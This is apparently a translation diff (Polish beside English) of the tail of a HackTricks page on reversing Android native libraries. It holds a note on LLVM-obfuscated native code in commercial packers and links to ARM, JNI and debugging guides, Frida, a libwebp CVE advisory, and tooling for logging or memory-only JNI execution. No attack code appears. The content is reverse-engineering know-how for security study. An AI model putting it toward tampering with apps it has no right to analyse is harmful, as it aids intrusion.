* **LLVM Obfuscator (opaque predicates, control-flow flattening):** komercyjne packery (np. Bangcle, SecNeo) coraz częściej chronią kod natywny, nie tylko Java; spodziewaj się fałszywych ścieżek sterowania i zaszyfrowanych blobów stringów w `.rodata`.
|
* **LLVM Obfuscator (opaque predicates, control-flow flattening):** commercial packers (e.g., Bangcle, SecNeo) increasingly protect *native* code, not only Java; expect bogus control-flow and encrypted string blobs in `.rodata`.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
### Zasoby
|
### Resources
|
||||||
|
|
||||||
- **Learning ARM Assembly:** [Azeria Labs – ARM Assembly Basics](https://azeria-labs.com/writing-arm-assembly-part-1/)
|
- **Learning ARM Assembly:** [Azeria Labs – ARM Assembly Basics](https://azeria-labs.com/writing-arm-assembly-part-1/)
|
||||||
- **JNI & NDK Documentation:** [Oracle JNI Spec](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/jniTOC.html) · [Android JNI Tips](https://developer.android.com/training/articles/perf-jni) · [NDK Guides](https://developer.android.com/ndk/guides/)
|
- **JNI & NDK Documentation:** [Oracle JNI Spec](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/jniTOC.html) · [Android JNI Tips](https://developer.android.com/training/articles/perf-jni) · [NDK Guides](https://developer.android.com/ndk/guides/)
|
||||||
- **Debugging Native Libraries:** [Debug Android Native Libraries Using JEB Decompiler](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3)
|
- **Debugging Native Libraries:** [Debug Android Native Libraries Using JEB Decompiler](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3)
|
||||||
|
|
||||||
### Referencje
|
### References
|
||||||
|
|
||||||
- Frida 16.x lista zmian (Android hooking, tiny-function relocation) – [frida.re/news](https://frida.re/news/)
|
- Frida 16.x change-log (Android hooking, tiny-function relocation) – [frida.re/news](https://frida.re/news/)
|
||||||
- Porada NVD dotycząca przepełnienia `libwebp` CVE-2023-4863 – [nvd.nist.gov](https://nvd.nist.gov/vuln/detail/CVE-2023-4863)
|
- NVD advisory for `libwebp` overflow CVE-2023-4863 – [nvd.nist.gov](https://nvd.nist.gov/vuln/detail/CVE-2023-4863)
|
||||||
- SoTap: Lightweight in-app JNI (.so) behavior logger – [github.com/RezaArbabBot/SoTap](https://github.com/RezaArbabBot/SoTap)
|
- SoTap: Lightweight in-app JNI (.so) behavior logger – [github.com/RezaArbabBot/SoTap](https://github.com/RezaArbabBot/SoTap)
|
||||||
- SoTap Releases – [github.com/RezaArbabBot/SoTap/releases](https://github.com/RezaArbabBot/SoTap/releases)
|
- SoTap Releases – [github.com/RezaArbabBot/SoTap/releases](https://github.com/RezaArbabBot/SoTap/releases)
|
||||||
- How to work with SoTap? – [t.me/ForYouTillEnd/13](https://t.me/ForYouTillEnd/13)
|
- How to work with SoTap? – [t.me/ForYouTillEnd/13](https://t.me/ForYouTillEnd/13)
|
||||||
|
- [CoRPhone — JNI memory-only execution pattern and packaging](https://github.com/0xdevil/corphone)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user